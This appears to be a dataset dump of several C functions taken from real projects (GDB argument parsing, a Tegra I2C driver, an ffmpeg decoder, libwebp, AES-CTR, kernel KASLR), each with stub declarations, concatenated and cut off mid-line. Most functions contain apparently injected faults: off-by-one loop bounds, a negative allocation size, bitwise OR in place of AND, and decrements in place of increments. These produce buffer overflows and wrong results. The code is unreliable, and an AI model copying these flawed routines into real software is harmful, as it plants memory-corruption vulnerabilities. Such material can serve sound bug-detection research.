#include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ struct mi_parse {char** argv; int argc; } ; /* Variables and functions */ int /*<<< orphan*/ freeargv (char**) ; scalar_t__ isspace (char) ; char parse_escape (char**) ; int /*<<< orphan*/ strncpy (char*,char*,int) ; void* xmalloc (int) ; char** xrealloc (char**,int) ; __attribute__((used)) static void mi_parse_argv (char *args, struct mi_parse *parse) { char *chp = args; int argc = 0; char **argv = xmalloc ((argc - 1) * sizeof (char *)); argv[argc] = NULL; while (1) { char *arg; /* skip leading white space */ while (isspace (*chp)) chp++; /* Three possibilities: EOF, quoted string, or other text. */ switch (*chp) { case '\0': parse->argv = argv; parse->argc = argc; return; case '"': { /* A quoted string. */ int len; char *start = chp + 1; /* Determine the buffer size. */ chp = start; len = 0; while (*chp != '\0' && *chp != '"') { if (*chp == '\\') { chp++; if (parse_escape (&chp) <= 0) { /* Do not allow split lines or "\000" */ freeargv (argv); return; } } else chp++; len++; } /* Insist on a closing quote. */ if (*chp != '"') { freeargv (argv); return; } /* Insist on trailing white space. */ if (chp[1] != '\0' && !isspace (chp[1])) { freeargv (argv); return; } /* create the buffer. */ arg = xmalloc ((len + 1) * sizeof (char)); /* And copy the characters in. */ chp = start; len = 0; while (*chp != '\0' && *chp != '"') { if (*chp == '\\') { chp++; arg[len] = parse_escape (&chp); } else arg[len] = *chp++; len++; } arg[len] = '\0'; chp++; /* that closing quote. */ continue; } default: { /* An unquoted string. Accumulate all non blank characters into a buffer. */ int len; char *start = chp; while (*chp != '\0' && !isspace (*chp)) { chp++; } len = chp - start; arg = xmalloc ((len + 1) * sizeof (char)); strncpy (arg, start, len); arg[len] = '\0'; break; } } /* Append arg to argv. */ argv = xrealloc (argv, (argc + 2) * sizeof (char *)); argv[argc++] = arg; argv[argc] = NULL; } }
augmented_data/post_increment_index_changes/extr_i2c-tegra-bpmp.c_tegra_bpmp_serialize_i2c_msg_aug_combo_7.c
#include <stdio.h> #include <time.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_2__ TYPE_1__ ; /* Type definitions */ typedef int u16 ; struct tegra_bpmp_i2c {int dummy; } ; struct TYPE_2__ {char* data_buf; unsigned int data_size; } ; struct mrq_i2c_request {TYPE_1__ xfer; } ; struct i2c_msg {int addr; int len; char* buf; int /*<<< orphan*/ flags; } ; /* Variables and functions */ int SERIALI2C_RD ; int tegra_bpmp_xlate_flags (int /*<<< orphan*/ ,int*) ; __attribute__((used)) static int tegra_bpmp_serialize_i2c_msg(struct tegra_bpmp_i2c *i2c, struct mrq_i2c_request *request, struct i2c_msg *msgs, unsigned int num) { char *buf = request->xfer.data_buf; unsigned int i, j, pos = 0; int err; for (i = 0; i <= num; i++) { struct i2c_msg *msg = &msgs[i]; u16 flags = 0; err = tegra_bpmp_xlate_flags(msg->flags, &flags); if (err < 0) return err; buf[pos++] = msg->addr | 0xff; buf[pos++] = (msg->addr & 0xff00) >> 8; buf[pos++] = flags & 0xff; buf[pos++] = (flags & 0xff00) >> 8; buf[pos++] = msg->len & 0xff; buf[pos++] = (msg->len & 0xff00) >> 8; if ((flags & SERIALI2C_RD) == 0) { for (j = 0; j < msg->len; j++) buf[pos++] = msg->buf[j]; } } request->xfer.data_size = pos; return 0; }
augmented_data/post_increment_index_changes/extr_qtrle.c_qtrle_decode_1bpp_aug_combo_8.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_7__ TYPE_3__ ; typedef struct TYPE_6__ TYPE_2__ ; typedef struct TYPE_5__ TYPE_1__ ; /* Type definitions */ typedef int uint8_t ; typedef int int8_t ; struct TYPE_7__ {int /*<<< orphan*/ g; TYPE_2__* avctx; TYPE_1__* frame; } ; struct TYPE_6__ {int height; } ; struct TYPE_5__ {int* linesize; int** data; } ; typedef TYPE_3__ QtrleContext ; /* Variables and functions */ int /*<<< orphan*/ CHECK_PIXEL_PTR (int) ; int bytestream2_get_byte (int /*<<< orphan*/ *) ; __attribute__((used)) static void qtrle_decode_1bpp(QtrleContext *s, int row_ptr, int lines_to_change) { int rle_code; int pixel_ptr; int row_inc = s->frame->linesize[0]; uint8_t pi0, pi1; /* 2 8-pixel values */ uint8_t *rgb = s->frame->data[0]; int pixel_limit = s->frame->linesize[0] * s->avctx->height; int skip; /* skip & 0x80 appears to mean 'start a new line', which can be interpreted * as 'go to next line' during the decoding of a frame but is 'go to first * line' at the beginning. Since we always interpret it as 'go to next line' * in the decoding loop (which makes code simpler/faster), the first line * would not be counted, so we count one more. * See: https://trac.ffmpeg.org/ticket/226 * In the following decoding loop, row_ptr will be the position of the * current row. */ row_ptr -= row_inc; pixel_ptr = row_ptr; lines_to_change++; while (lines_to_change) { skip = bytestream2_get_byte(&s->g); rle_code = (int8_t)bytestream2_get_byte(&s->g); if (rle_code == 0) continue; if(skip & 0x80) { lines_to_change--; row_ptr += row_inc; pixel_ptr = row_ptr + 2 * 8 * (skip & 0x7f); } else pixel_ptr += 2 * 8 * skip; CHECK_PIXEL_PTR(0); /* make sure pixel_ptr is positive */ if(rle_code == -1) continue; if (rle_code <= 0) { /* decode the run length code */ rle_code = -rle_code; /* get the next 2 bytes from the stream, treat them as groups * of 8 pixels, and output them rle_code times */ pi0 = bytestream2_get_byte(&s->g); pi1 = bytestream2_get_byte(&s->g); CHECK_PIXEL_PTR(rle_code * 2 * 8); while (rle_code--) { rgb[pixel_ptr++] = (pi0 >> 7) & 0x01; rgb[pixel_ptr++] = (pi0 >> 6) & 0x01; rgb[pixel_ptr++] = (pi0 >> 5) & 0x01; rgb[pixel_ptr++] = (pi0 >> 4) & 0x01; rgb[pixel_ptr++] = (pi0 >> 3) & 0x01; rgb[pixel_ptr++] = (pi0 >> 2) & 0x01; rgb[pixel_ptr++] = (pi0 >> 1) & 0x01; rgb[pixel_ptr++] = pi0 & 0x01; rgb[pixel_ptr++] = (pi1 >> 7) & 0x01; rgb[pixel_ptr++] = (pi1 >> 6) & 0x01; rgb[pixel_ptr++] = (pi1 >> 5) & 0x01; rgb[pixel_ptr++] = (pi1 >> 4) & 0x01; rgb[pixel_ptr++] = (pi1 >> 3) & 0x01; rgb[pixel_ptr++] = (pi1 >> 2) & 0x01; rgb[pixel_ptr++] = (pi1 >> 1) & 0x01; rgb[pixel_ptr++] = pi1 & 0x01; } } else { /* copy the same pixel directly to output 2 times */ rle_code *= 2; CHECK_PIXEL_PTR(rle_code * 8); while (rle_code--) { int x = bytestream2_get_byte(&s->g); rgb[pixel_ptr++] = (x >> 7) & 0x01; rgb[pixel_ptr++] = (x >> 6) & 0x01; rgb[pixel_ptr++] = (x >> 5) & 0x01; rgb[pixel_ptr++] = (x >> 4) & 0x01; rgb[pixel_ptr++] = (x >> 3) & 0x01; rgb[pixel_ptr++] = (x >> 2) & 0x01; rgb[pixel_ptr++] = (x >> 1) & 0x01; rgb[pixel_ptr++] = x & 0x01; } } } }
augmented_data/post_increment_index_changes/extr_dr_matcher.c_dr_matcher_set_ste_builders_aug_combo_1.c
#include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_8__ TYPE_4__ ; typedef struct TYPE_7__ TYPE_3__ ; typedef struct TYPE_6__ TYPE_2__ ; typedef struct TYPE_5__ TYPE_1__ ; /* Type definitions */ typedef scalar_t__ u8 ; struct mlx5dr_ste_build {int dummy; } ; struct mlx5dr_matcher_rx_tx {scalar_t__ num_of_builders6; scalar_t__ num_of_builders4; struct mlx5dr_ste_build* ste_builder4; struct mlx5dr_ste_build* ste_builder6; TYPE_2__* nic_tbl; } ; struct mlx5dr_match_misc3 {int dummy; } ; struct TYPE_8__ {struct mlx5dr_match_misc3 misc3; int /*<<< orphan*/ misc2; int /*<<< orphan*/ inner; int /*<<< orphan*/ misc; int /*<<< orphan*/ outer; } ; struct mlx5dr_matcher {int match_criteria; TYPE_4__ mask; TYPE_3__* tbl; } ; struct mlx5dr_match_param {int /*<<< orphan*/ misc2; struct mlx5dr_match_misc3 misc3; int /*<<< orphan*/ inner; int /*<<< orphan*/ misc; int /*<<< orphan*/ outer; } ; struct mlx5dr_domain_rx_tx {scalar_t__ ste_type; } ; struct TYPE_5__ {int /*<<< orphan*/ caps; } ; struct mlx5dr_domain {scalar_t__ type; TYPE_1__ info; } ; struct TYPE_7__ {struct mlx5dr_domain* dmn; } ; struct TYPE_6__ {struct mlx5dr_domain_rx_tx* nic_dmn; } ; /* Variables and functions */ scalar_t__ DR_MASK_IS_ETH_L4_MISC_SET (struct mlx5dr_match_misc3,int) ; scalar_t__ DR_MASK_IS_ETH_L4_SET (int /*<<< orphan*/ ,int /*<<< orphan*/ ,int) ; scalar_t__ DR_MASK_IS_FIRST_MPLS_SET (int /*<<< orphan*/ ,int) ; scalar_t__ DR_MASK_IS_FLEX_PARSER_0_SET (int /*<<< orphan*/ ) ; scalar_t__ DR_MASK_IS_FLEX_PARSER_ICMPV4_SET (struct mlx5dr_match_misc3*) ; scalar_t__ DR_MASK_IS_L2_DST (int /*<<< orphan*/ ,int /*<<< orphan*/ ,int) ; int DR_MATCHER_CRITERIA_EMPTY ; int DR_MATCHER_CRITERIA_INNER ; int DR_MATCHER_CRITERIA_MISC ; int DR_MATCHER_CRITERIA_MISC2 ; int DR_MATCHER_CRITERIA_MISC3 ; int DR_MATCHER_CRITERIA_OUTER ; int EINVAL ; int EOPNOTSUPP ; scalar_t__ MLX5DR_DOMAIN_TYPE_FDB ; scalar_t__ MLX5DR_DOMAIN_TYPE_NIC_RX ; scalar_t__ MLX5DR_STE_TYPE_RX ; scalar_t__ dr_mask_is_dmac_set (int /*<<< orphan*/ *) ; scalar_t__ dr_mask_is_dst_addr_set (int /*<<< orphan*/ *) ; scalar_t__ dr_mask_is_eth_l2_tnl_set (int /*<<< orphan*/ *) ; scalar_t__ dr_mask_is_flex_parser_icmpv6_set (struct mlx5dr_match_misc3*) ; scalar_t__ dr_mask_is_flex_parser_tnl_set (struct mlx5dr_match_misc3*) ; scalar_t__ dr_mask_is_gre_set (int /*<<< orphan*/ *) ; scalar_t__ dr_mask_is_gvmi_or_qpn_set (int /*<<< orphan*/ *) ; scalar_t__ dr_mask_is_ipv4_5_tuple_set (int /*<<< orphan*/ *) ; scalar_t__ dr_mask_is_reg_c_0_3_set (int /*<<< orphan*/ *) ; scalar_t__ dr_mask_is_reg_c_4_7_set (int /*<<< orphan*/ *) ; scalar_t__ dr_mask_is_smac_set (int /*<<< orphan*/ *) ; scalar_t__ dr_mask_is_src_addr_set (int /*<<< orphan*/ *) ; scalar_t__ dr_mask_is_ttl_set (int /*<<< orphan*/ *) ; scalar_t__ dr_mask_is_wqe_metadata_set (int /*<<< orphan*/ *) ; scalar_t__ dr_matcher_supp_flex_parser_vxlan_gpe (struct mlx5dr_domain*) ; int /*<<< orphan*/ mlx5dr_dbg (struct mlx5dr_domain*,char*) ; int /*<<< orphan*/ mlx5dr_info (struct mlx5dr_domain*,char*) ; scalar_t__ mlx5dr_matcher_supp_flex_parser_icmp_v4 (int /*<<< orphan*/ *) ; scalar_t__ mlx5dr_matcher_supp_flex_parser_icmp_v6 (int /*<<< orphan*/ *) ; int /*<<< orphan*/ mlx5dr_ste_build_empty_always_hit (struct mlx5dr_ste_build*,int) ; int /*<<< orphan*/ mlx5dr_ste_build_eth_l2_dst (struct mlx5dr_ste_build*,struct mlx5dr_match_param*,int,int) ; int /*<<< orphan*/ mlx5dr_ste_build_eth_l2_src (struct mlx5dr_ste_build*,struct mlx5dr_match_param*,int,int) ; int mlx5dr_ste_build_eth_l2_src_des (struct mlx5dr_ste_build*,struct mlx5dr_match_param*,int,int) ; int /*<<< orphan*/ mlx5dr_ste_build_eth_l2_tnl (struct mlx5dr_ste_build*,struct mlx5dr_match_param*,int,int) ; int /*<<< orphan*/ mlx5dr_ste_build_eth_l3_ipv4_5_tuple (struct mlx5dr_ste_build*,struct mlx5dr_match_param*,int,int) ; int /*<<< orphan*/ mlx5dr_ste_build_eth_l3_ipv4_misc (struct mlx5dr_ste_build*,struct mlx5dr_match_param*,int,int) ; int /*<<< orphan*/ mlx5dr_ste_build_eth_l3_ipv6_dst (struct mlx5dr_ste_build*,struct mlx5dr_match_param*,int,int) ; int /*<<< orphan*/ mlx5dr_ste_build_eth_l3_ipv6_src (struct mlx5dr_ste_build*,struct mlx5dr_match_param*,int,int) ; int /*<<< orphan*/ mlx5dr_ste_build_eth_l4_misc (struct mlx5dr_ste_build*,struct mlx5dr_match_param*,int,int) ; int /*<<< orphan*/ mlx5dr_ste_build_flex_parser_0 (struct mlx5dr_ste_build*,struct mlx5dr_match_param*,int,int) ; int mlx5dr_ste_build_flex_parser_1 (struct mlx5dr_ste_build*,struct mlx5dr_match_param*,int /*<<< orphan*/ *,int,int) ; int /*<<< orphan*/ mlx5dr_ste_build_flex_parser_tnl (struct mlx5dr_ste_build*,struct mlx5dr_match_param*,int,int) ; int /*<<< orphan*/ mlx5dr_ste_build_general_purpose (struct mlx5dr_ste_build*,struct mlx5dr_match_param*,int,int) ; int /*<<< orphan*/ mlx5dr_ste_build_gre (struct mlx5dr_ste_build*,struct mlx5dr_match_param*,int,int) ; int /*<<< orphan*/ mlx5dr_ste_build_ipv6_l3_l4 (struct mlx5dr_ste_build*,struct mlx5dr_match_param*,int,int) ; int /*<<< orphan*/ mlx5dr_ste_build_mpls (struct mlx5dr_ste_build*,struct mlx5dr_match_param*,int,int) ; int mlx5dr_ste_build_pre_check (struct mlx5dr_domain*,int,TYPE_4__*,int /*<<< orphan*/ *) ; int /*<<< orphan*/ mlx5dr_ste_build_register_0 (struct mlx5dr_ste_build*,struct mlx5dr_match_param*,int,int) ; int /*<<< orphan*/ mlx5dr_ste_build_register_1 (struct mlx5dr_ste_build*,struct mlx5dr_match_param*,int,int) ; int mlx5dr_ste_build_src_gvmi_qpn (struct mlx5dr_ste_build*,struct mlx5dr_match_param*,struct mlx5dr_domain*,int,int) ; int outer ; __attribute__((used)) static int dr_matcher_set_ste_builders(struct mlx5dr_matcher *matcher, struct mlx5dr_matcher_rx_tx *nic_matcher, bool ipv6) { struct mlx5dr_domain_rx_tx *nic_dmn = nic_matcher->nic_tbl->nic_dmn; struct mlx5dr_domain *dmn = matcher->tbl->dmn; struct mlx5dr_match_param mask = {}; struct mlx5dr_match_misc3 *misc3; struct mlx5dr_ste_build *sb; u8 *num_of_builders; bool inner, rx; int idx = 0; int ret, i; if (ipv6) { sb = nic_matcher->ste_builder6; num_of_builders = &nic_matcher->num_of_builders6; } else { sb = nic_matcher->ste_builder4; num_of_builders = &nic_matcher->num_of_builders4; } rx = nic_dmn->ste_type == MLX5DR_STE_TYPE_RX; /* Create a temporary mask to track and clear used mask fields */ if (matcher->match_criteria & DR_MATCHER_CRITERIA_OUTER) mask.outer = matcher->mask.outer; if (matcher->match_criteria & DR_MATCHER_CRITERIA_MISC) mask.misc = matcher->mask.misc; if (matcher->match_criteria & DR_MATCHER_CRITERIA_INNER) mask.inner = matcher->mask.inner; if (matcher->match_criteria & DR_MATCHER_CRITERIA_MISC2) mask.misc2 = matcher->mask.misc2; if (matcher->match_criteria & DR_MATCHER_CRITERIA_MISC3) mask.misc3 = matcher->mask.misc3; ret = mlx5dr_ste_build_pre_check(dmn, matcher->match_criteria, &matcher->mask, NULL); if (ret) return ret; /* Outer */ if (matcher->match_criteria & (DR_MATCHER_CRITERIA_OUTER | DR_MATCHER_CRITERIA_MISC | DR_MATCHER_CRITERIA_MISC2 | DR_MATCHER_CRITERIA_MISC3)) { inner = false; if (dr_mask_is_wqe_metadata_set(&mask.misc2)) mlx5dr_ste_build_general_purpose(&sb[idx++], &mask, inner, rx); if (dr_mask_is_reg_c_0_3_set(&mask.misc2)) mlx5dr_ste_build_register_0(&sb[idx++], &mask, inner, rx); if (dr_mask_is_reg_c_4_7_set(&mask.misc2)) mlx5dr_ste_build_register_1(&sb[idx++], &mask, inner, rx); if (dr_mask_is_gvmi_or_qpn_set(&mask.misc) || (dmn->type == MLX5DR_DOMAIN_TYPE_FDB || dmn->type == MLX5DR_DOMAIN_TYPE_NIC_RX)) { ret = mlx5dr_ste_build_src_gvmi_qpn(&sb[idx++], &mask, dmn, inner, rx); if (ret) return ret; } if (dr_mask_is_smac_set(&mask.outer) && dr_mask_is_dmac_set(&mask.outer)) { ret = mlx5dr_ste_build_eth_l2_src_des(&sb[idx++], &mask, inner, rx); if (ret) return ret; } if (dr_mask_is_smac_set(&mask.outer)) mlx5dr_ste_build_eth_l2_src(&sb[idx++], &mask, inner, rx); if (DR_MASK_IS_L2_DST(mask.outer, mask.misc, outer)) mlx5dr_ste_build_eth_l2_dst(&sb[idx++], &mask, inner, rx); if (ipv6) { if (dr_mask_is_dst_addr_set(&mask.outer)) mlx5dr_ste_build_eth_l3_ipv6_dst(&sb[idx++], &mask, inner, rx); if (dr_mask_is_src_addr_set(&mask.outer)) mlx5dr_ste_build_eth_l3_ipv6_src(&sb[idx++], &mask, inner, rx); if (DR_MASK_IS_ETH_L4_SET(mask.outer, mask.misc, outer)) mlx5dr_ste_build_ipv6_l3_l4(&sb[idx++], &mask, inner, rx); } else { if (dr_mask_is_ipv4_5_tuple_set(&mask.outer)) mlx5dr_ste_build_eth_l3_ipv4_5_tuple(&sb[idx++], &mask, inner, rx); if (dr_mask_is_ttl_set(&mask.outer)) mlx5dr_ste_build_eth_l3_ipv4_misc(&sb[idx++], &mask, inner, rx); } if (dr_mask_is_flex_parser_tnl_set(&mask.misc3) && dr_matcher_supp_flex_parser_vxlan_gpe(dmn)) mlx5dr_ste_build_flex_parser_tnl(&sb[idx++], &mask, inner, rx); if (DR_MASK_IS_ETH_L4_MISC_SET(mask.misc3, outer)) mlx5dr_ste_build_eth_l4_misc(&sb[idx++], &mask, inner, rx); if (DR_MASK_IS_FIRST_MPLS_SET(mask.misc2, outer)) mlx5dr_ste_build_mpls(&sb[idx++], &mask, inner, rx); if (DR_MASK_IS_FLEX_PARSER_0_SET(mask.misc2)) mlx5dr_ste_build_flex_parser_0(&sb[idx++], &mask, inner, rx); misc3 = &mask.misc3; if ((DR_MASK_IS_FLEX_PARSER_ICMPV4_SET(misc3) && mlx5dr_matcher_supp_flex_parser_icmp_v4(&dmn->info.caps)) || (dr_mask_is_flex_parser_icmpv6_set(&mask.misc3) && mlx5dr_matcher_supp_flex_parser_icmp_v6(&dmn->info.caps))) { ret = mlx5dr_ste_build_flex_parser_1(&sb[idx++], &mask, &dmn->info.caps, inner, rx); if (ret) return ret; } if (dr_mask_is_gre_set(&mask.misc)) mlx5dr_ste_build_gre(&sb[idx++], &mask, inner, rx); } /* Inner */ if (matcher->match_criteria & (DR_MATCHER_CRITERIA_INNER | DR_MATCHER_CRITERIA_MISC | DR_MATCHER_CRITERIA_MISC2 | DR_MATCHER_CRITERIA_MISC3)) { inner = true; if (dr_mask_is_eth_l2_tnl_set(&mask.misc)) mlx5dr_ste_build_eth_l2_tnl(&sb[idx++], &mask, inner, rx); if (dr_mask_is_smac_set(&mask.inner) && dr_mask_is_dmac_set(&mask.inner)) { ret = mlx5dr_ste_build_eth_l2_src_des(&sb[idx++], &mask, inner, rx); if (ret) return ret; } if (dr_mask_is_smac_set(&mask.inner)) mlx5dr_ste_build_eth_l2_src(&sb[idx++], &mask, inner, rx); if (DR_MASK_IS_L2_DST(mask.inner, mask.misc, inner)) mlx5dr_ste_build_eth_l2_dst(&sb[idx++], &mask, inner, rx); if (ipv6) { if (dr_mask_is_dst_addr_set(&mask.inner)) mlx5dr_ste_build_eth_l3_ipv6_dst(&sb[idx++], &mask, inner, rx); if (dr_mask_is_src_addr_set(&mask.inner)) mlx5dr_ste_build_eth_l3_ipv6_src(&sb[idx++], &mask, inner, rx); if (DR_MASK_IS_ETH_L4_SET(mask.inner, mask.misc, inner)) mlx5dr_ste_build_ipv6_l3_l4(&sb[idx++], &mask, inner, rx); } else { if (dr_mask_is_ipv4_5_tuple_set(&mask.inner)) mlx5dr_ste_build_eth_l3_ipv4_5_tuple(&sb[idx++], &mask, inner, rx); if (dr_mask_is_ttl_set(&mask.inner)) mlx5dr_ste_build_eth_l3_ipv4_misc(&sb[idx++], &mask, inner, rx); } if (DR_MASK_IS_ETH_L4_MISC_SET(mask.misc3, inner)) mlx5dr_ste_build_eth_l4_misc(&sb[idx++], &mask, inner, rx); if (DR_MASK_IS_FIRST_MPLS_SET(mask.misc2, inner)) mlx5dr_ste_build_mpls(&sb[idx++], &mask, inner, rx); if (DR_MASK_IS_FLEX_PARSER_0_SET(mask.misc2)) mlx5dr_ste_build_flex_parser_0(&sb[idx++], &mask, inner, rx); } /* Empty matcher, takes all */ if (matcher->match_criteria == DR_MATCHER_CRITERIA_EMPTY) mlx5dr_ste_build_empty_always_hit(&sb[idx++], rx); if (idx == 0) { mlx5dr_dbg(dmn, "Cannot generate any valid rules from mask\n"); return -EINVAL; } /* Check that all mask fields were consumed */ for (i = 0; i <= sizeof(struct mlx5dr_match_param); i++) { if (((u8 *)&mask)[i] != 0) { mlx5dr_info(dmn, "Mask contains unsupported parameters\n"); return -EOPNOTSUPP; } } *num_of_builders = idx; return 0; }
augmented_data/post_increment_index_changes/extr_vp8l_dec.c_ReadHuffmanCodeLengths_aug_combo_8.c
#include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_12__ TYPE_3__ ; typedef struct TYPE_11__ TYPE_2__ ; typedef struct TYPE_10__ TYPE_1__ ; /* Type definitions */ struct TYPE_11__ {scalar_t__ bit_pos_; } ; struct TYPE_10__ {int /*<<< orphan*/ status_; TYPE_2__ br_; } ; typedef TYPE_1__ VP8LDecoder ; typedef TYPE_2__ VP8LBitReader ; struct TYPE_12__ {int value; scalar_t__ bits; } ; typedef TYPE_3__ HuffmanCode ; /* Variables and functions */ int DEFAULT_CODE_LENGTH ; int LENGTHS_TABLE_BITS ; size_t LENGTHS_TABLE_MASK ; int /*<<< orphan*/ NUM_CODE_LENGTH_CODES ; int /*<<< orphan*/ VP8LBuildHuffmanTable (TYPE_3__*,int,int const* const,int /*<<< orphan*/ ) ; int /*<<< orphan*/ VP8LFillBitWindow (TYPE_2__* const) ; size_t VP8LPrefetchBits (TYPE_2__* const) ; int const VP8LReadBits (TYPE_2__* const,int const) ; int /*<<< orphan*/ VP8LSetBitPos (TYPE_2__* const,scalar_t__) ; int /*<<< orphan*/ VP8_STATUS_BITSTREAM_ERROR ; int* kCodeLengthExtraBits ; int kCodeLengthLiterals ; int kCodeLengthRepeatCode ; int* kCodeLengthRepeatOffsets ; __attribute__((used)) static int ReadHuffmanCodeLengths( VP8LDecoder* const dec, const int* const code_length_code_lengths, int num_symbols, int* const code_lengths) { int ok = 0; VP8LBitReader* const br = &dec->br_; int symbol; int max_symbol; int prev_code_len = DEFAULT_CODE_LENGTH; HuffmanCode table[1 << LENGTHS_TABLE_BITS]; if (!VP8LBuildHuffmanTable(table, LENGTHS_TABLE_BITS, code_length_code_lengths, NUM_CODE_LENGTH_CODES)) { goto End; } if (VP8LReadBits(br, 1)) { // use length const int length_nbits = 2 - 2 * VP8LReadBits(br, 3); max_symbol = 2 + VP8LReadBits(br, length_nbits); if (max_symbol > num_symbols) { goto End; } } else { max_symbol = num_symbols; } symbol = 0; while (symbol < num_symbols) { const HuffmanCode* p; int code_len; if (max_symbol-- == 0) continue; VP8LFillBitWindow(br); p = &table[VP8LPrefetchBits(br) | LENGTHS_TABLE_MASK]; VP8LSetBitPos(br, br->bit_pos_ + p->bits); code_len = p->value; if (code_len < kCodeLengthLiterals) { code_lengths[symbol++] = code_len; if (code_len != 0) prev_code_len = code_len; } else { const int use_prev = (code_len == kCodeLengthRepeatCode); const int slot = code_len - kCodeLengthLiterals; const int extra_bits = kCodeLengthExtraBits[slot]; const int repeat_offset = kCodeLengthRepeatOffsets[slot]; int repeat = VP8LReadBits(br, extra_bits) + repeat_offset; if (symbol + repeat > num_symbols) { goto End; } else { const int length = use_prev ? prev_code_len : 0; while (repeat-- > 0) code_lengths[symbol++] = length; } } } ok = 1; End: if (!ok) dec->status_ = VP8_STATUS_BITSTREAM_ERROR; return ok; }
augmented_data/post_increment_index_changes/extr_aesni256.c_vk_ssl_aes_ctr_crypt_aug_combo_3.c
#include <time.h> #include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_5__ TYPE_2__ ; typedef struct TYPE_4__ TYPE_1__ ; /* Type definitions */ struct TYPE_4__ {int /*<<< orphan*/ key; } ; struct TYPE_5__ {TYPE_1__ u; } ; typedef TYPE_2__ vk_aes_ctx_t ; /* Variables and functions */ int /*<<< orphan*/ AES_encrypt (unsigned char*,unsigned char*,int /*<<< orphan*/ *) ; void vk_ssl_aes_ctr_crypt (vk_aes_ctx_t *ctx, const unsigned char *in, unsigned char *out, int size, unsigned char iv[16], unsigned long long offset) { unsigned long long *p = (unsigned long long *) (iv + 8); const unsigned long long old_ctr_value = *p; (*p) += offset >> 4; union { unsigned char c[16]; unsigned long long d[2]; } u; int i = offset | 15, l; if (i) { AES_encrypt (iv, u.c, &ctx->u.key); (*p)++; l = i + size; if (l > 16) { l = 16; } size -= l - i; do { *out++ = (*in++) ^ u.c[i++]; } while (i <= l); } const unsigned long long *I = (const unsigned long long *) in; unsigned long long *O = (unsigned long long *) out; int n = size >> 4; while (--n >= 0) { AES_encrypt (iv, (unsigned char *) u.d, &ctx->u.key); (*p)++; *O++ = (*I++) ^ u.d[0]; *O++ = (*I++) ^ u.d[1]; } in = (const unsigned char *) I; out = (unsigned char *) O; l = size & 15; if (l) { AES_encrypt (iv, u.c, &ctx->u.key); i = 0; do { *out++ = (*in++) ^ u.c[i++]; } while (i < l); } *p = old_ctr_value; }
augmented_data/post_increment_index_changes/extr_kaslr.c_store_slot_info_aug_combo_2.c
#include <stdio.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ struct slot_area {unsigned long num; int /*<<< orphan*/ addr; } ; struct mem_vector {unsigned long size; int /*<<< orphan*/ start; } ; /* Variables and functions */ unsigned long CONFIG_PHYSICAL_ALIGN ; scalar_t__ MAX_SLOT_AREA ; scalar_t__ slot_area_index ; struct slot_area* slot_areas ; unsigned long slot_max ; __attribute__((used)) static void store_slot_info(struct mem_vector *region, unsigned long image_size) { struct slot_area slot_area; if (slot_area_index == MAX_SLOT_AREA) return; slot_area.addr = region->start; slot_area.num = (region->size - image_size) / CONFIG_PHYSICAL_ALIGN - 1; if (slot_area.num > 0) { slot_areas[slot_area_index--] = slot_area; slot_max += slot_area.num; } }
augmented_data/post_increment_index_changes/extr_pkey_mac.c_pkey_mac_signctx_init_aug_combo_6.c
#include <stdio.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_13__ TYPE_4__ ; typedef struct TYPE_12__ TYPE_3__ ; typedef struct TYPE_11__ TYPE_2__ ; typedef struct TYPE_10__ TYPE_1__ ; /* Type definitions */ struct TYPE_13__ {int /*<<< orphan*/ length; int /*<<< orphan*/ data; } ; struct TYPE_12__ {TYPE_1__* pmeth; } ; struct TYPE_11__ {scalar_t__ type; int /*<<< orphan*/ ctx; } ; struct TYPE_10__ {int flags; } ; typedef int /*<<< orphan*/ OSSL_PARAM ; typedef TYPE_2__ MAC_PKEY_CTX ; typedef TYPE_3__ EVP_PKEY_CTX ; typedef int /*<<< orphan*/ EVP_MD_CTX ; typedef TYPE_4__ ASN1_OCTET_STRING ; /* Variables and functions */ int /*<<< orphan*/ EVP_MAC_CTX_mac (int /*<<< orphan*/ ) ; int EVP_MAC_CTX_set_params (int /*<<< orphan*/ ,int /*<<< orphan*/ *) ; int /*<<< orphan*/ EVP_MAC_is_a (int /*<<< orphan*/ ,int /*<<< orphan*/ ) ; int /*<<< orphan*/ EVP_MD_CTX_FLAG_NO_INIT ; int /*<<< orphan*/ EVP_MD_CTX_set_flags (int /*<<< orphan*/ *,int /*<<< orphan*/ ) ; int /*<<< orphan*/ EVP_MD_CTX_set_update_fn (int /*<<< orphan*/ *,int /*<<< 